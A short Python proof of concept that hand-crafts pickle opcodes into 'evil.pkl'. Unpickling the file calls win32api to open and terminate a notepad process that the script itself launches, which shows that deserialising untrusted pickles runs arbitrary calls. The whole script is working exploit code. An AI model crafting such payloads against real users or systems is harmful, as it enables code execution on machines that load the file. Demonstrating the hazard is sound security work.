import pathlib, subprocess, time
proc=subprocess.Popen(['notepad.exe']); time.sleep(0.5); pid=proc.pid
def G(m,n): return b'c'+m.encode()+b'\n'+n.encode()+b'\n'
def I(n):
  if 0<=n<256: return b'K'+bytes([n])
  return b'J'+int(n).to_bytes(4,'little',signed=True)
data=(b'\x80\x02'+G('win32api','OpenProcess')+b'('+I(1)+b'\x89'+I(pid)+b'tR\x94'
     +G('win32api','TerminateProcess')+b'('+b'h\x00'+I(1)+b'tR.')
p=pathlib.Path(__file__).with_name('evil.pkl'); p.write_bytes(data); print('pid',pid,'wrote',p)
import pickle; pickle.loads(data); time.sleep(0.4); print('poll',proc.poll())